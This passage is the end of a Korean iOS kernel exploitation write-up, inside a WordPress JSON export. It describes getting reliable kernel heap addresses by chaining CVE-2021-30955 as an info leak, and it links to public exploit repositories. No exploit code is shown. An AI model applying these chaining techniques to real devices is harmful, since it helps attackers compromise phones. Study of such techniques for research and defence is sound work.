\ucee4\ub110 \uc8fc\uc18c\ub97c \ud655\ubcf4\ud560 \uc218 \uc788\uc5c8\ub2e4. (<code>KHEAP_DATA_MAPPABLE_LOC<\/code> \ubc0f <code>KHEAP_DEFAULT_MAPPABLE_LOC<\/code> \ub9e4\ud06c\ub85c \ucc38\uc870).<\/p>\n<p>\ud558\uc9c0\ub9cc \uc9c0\uc6d0\ub418\uc9c0 \uc54a\ub294 \uae30\uae30 \uc911 \ud558\ub098\uc778 \uc544\uc774\ud3f06s\uc5d0\uc11c\ub294 \ud504\ub85c\ud30c\uc77c\ub9c1 \uacb0\uacfc, \ub3d9\uc77c\ud55c \ucee4\ub110 \uc8fc\uc18c\ub97c \uc5bb\uc744 \ud655\ub960\uc774 \ub9e4\uc6b0 \ub0ae\uc558\ub2e4.<\/p>\n<p>\ub530\ub77c\uc11c info leak\uc6a9\uc73c\ub85c CVE-2021-30955 \ucde8\uc57d\uc810\uc744 \uccb4\uc774\ub2dd\uc2dc\ucf1c \uac1c\uc120\uc2dc\ucf30\ub2e4.<\/p>\n<p>\ud558\ub098\uc758 default.kalloc.0x4000 \ud560\ub2f9\uc8fc\uc18c\ub97c leak\uc2dc\ud0ac \uc218 \uc788\uae30 \ub54c\ubb38\uc5d0, \ub192\uc740 \ud655\ub960\ub85c <strong>\ud574\ub2f9<\/strong> KHEAP_DATA_BUFFERS\/KHEAP_DEFAULT <strong>\ud0c0\uc785\ub4e4\uc5d0 \ub300\ud55c \ucee4\ub110 \uc8fc\uc18c\ub97c \uad6c\ud560 \uc218 \uc788\ub2e4.<\/strong><\/p>\n<h1>\ucc38\uace0 \uc790\ub8cc<\/h1>\n<p><a href=\"https:\/\/github.com\/b1n4r1b01\/desc_race\">https:\/\/github.com\/b1n4r1b01\/desc_race<\/a><\/p>\n<p><a href=\"https:\/\/web.archive.org\/web\/20220223071138\/https:\/\/www.cyberkl.com\/cvelist\/cvedetail\/24\">https:\/\/web.archive.org\/web\/20220223071138\/https:\/\/www.cyberkl.com\/cvelist\/cvedetail\/24<\/a><\/p>\n<p><a href=\"https:\/\/gist.github.com\/jakeajames\/37f72c58c775bfbdda3aa9575149a8aa\">https:\/\/gist.github.com\/jakeajames\/37f72c58c775bfbdda3aa9575149a8aa<\/a><\/p>\n<\/div>\n","protected":false},"excerpt":{"rendered":"","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"neve_meta_sidebar":"","neve_meta_container":"","neve_meta_enable_content_width":"","neve_meta_content_width":0,"neve_meta_title_alignment":"","neve_meta_author_avatar":"","neve_post_elements_order":"","neve_meta_disable_header":"","neve_meta_disable_footer":"","neve_meta_disable_title":"","footnotes":""},"categories":[72],"tags":[11,12,13,25],"class_list":["post-4097","post","type-post","status-publish","format-standard","hentry","category-realworld","tag-ios","tag-ios-kernel","tag-macos","tag-pwnable"],"_links":{"self":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/4097","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4097"}],"version-history":[{"count":1,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/4097\/revisions"}],"predecessor-version":[{"id":4098,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/4097\/revisions\/4098"}],"wp:attachment":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4097"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4097"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4097"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}